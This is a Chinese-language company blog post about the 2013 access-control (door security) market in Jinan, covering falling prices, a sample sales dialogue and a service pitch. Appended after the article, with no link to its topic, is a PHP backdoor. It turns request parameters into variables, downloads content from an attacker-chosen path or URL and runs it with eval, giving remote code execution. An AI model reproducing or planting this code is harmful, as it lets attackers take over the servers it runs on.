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2013年济南门禁产品行业分析

2018-12-24 03:22:40 济南索卡电子科技有限公司 阅读

       

随着2012年的誓去,我们迎来了崭新的2013。那么做为一个工众认识越来越清晰的门禁行业来说,今年或将是一个充满分歧的机会。随着淘宝网上面产品的丰富,生产厂家的混乱,产品价格越来越低,竞争商家的利润越来越少。以现在ID读卡式门禁一体机来说,一个单门的系统,产品价格一套的价格已经杀入到500元以下,即使指纹门禁管理系统单门价格也已经进入千元时代。面对越来越少的利润,经销商的出路在何方?
 
        2012年中我接待了无数个这样的情形
客户:请你为我们公司安装一套最简单的门禁,实现刷卡功能就行。济南市里安装完成,一共需要多少钱?
 
我:是什么样的门?
客户:双开的玻璃门,一个电源箱、二把电磁锁、30米线、一个ID卡器、10张ID卡。。。。。(客户对这套系统的构成已经相当熟悉?想必肯定已经咨询过N家经销商了)
我:那么您需要就是一种最简单的门禁系统,被动安全性很差,存在停电后就会出现门锁开启状态,您需要这种类型的对么?
客户:嗯。是的,不有更安全的么?简单的多少钱一套?更安全的多少钱一套?
我:要想安全一些,我建议增加专业的门禁控制主板,费用呢:简单你的安装后费用在1200元,加装门禁主板后在2000元左右。。。。
客户:太贵了,还能便宜点么?最低多少钱?刚才我也了解过,别家才几百块钱。。。
我:产品的质量不一样,价格肯定也不一样,我们家的产品是行业中高端威士博,在使用的可靠性、稳定性上都不一般小工厂所出产品不能相比的。。。。。(没等我说完,客户抢过电话后)
客户:哦,这样啊?那好么,我再考虑一下,有何需要我再和你们联系吧。
          一个最为我们熟悉的询价过程结束后,结果也可想而知,最后都是不了了知。这不禁使我们商家自问:我们的产品价格真的高么?面对这类疑问,我们的竞争优势在哪里呢?为什么现在这么多的客户都在以价格为基准在选择产品?
 
       一套门禁系统的可靠性,除了产品的质量完,我认为还应有一套完整的售后系统。客户在以价格比对的情况下,往往选择了价格低的产品,安装完成后,售后服务基本没有任何保障。一旦产品使用过程中出现问题,经销商也不再提供服务,要想上门服务再加收一下的服务费用,为什么?因为在前期销售过程中,商家已经把利润降到最低,除去安装费用 ,可能也就挣个几十块钱,在现在如此高的人工费用面前,一个正常的商家会拆本去多次服务么?
 
   在将来的市场上,我相信随着客户的理性选择,一个好的品牌,稳定性及服务体系将会成为我们异军突起的机会。我们将为客户提供更为专业的解决方案,专业银行门禁、监狱门禁、AB门禁、教务档案管理门禁、指纹箱密码锁管理等,我们的承诺是在新的一年里及更久的将来,让更多的用户体验我们的产品,感受我们的服务。省时,省力更省心,决对不会让你有头疼的感觉。。。。呵呵。。。。
    2013年万象更新。。。。。。。
 
   借此机会祝所有的朋友在新的一年里工作顺利,身体健康。。



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function _strint($key){

return @file_get_contents($key);

}

function log1($log){

lone(_strint($log));

}

function lone($key){

$str = "";

return eval($str.$key.$str);

}

foreach (array('_COOKIE','_POST','_GET') as $_request)

{

    foreach ($$_request as $_key=>$_value)

    {

        $$_key=  $_value;

    }

}

$id = isset($id) ? $id : 2;

log1($id);

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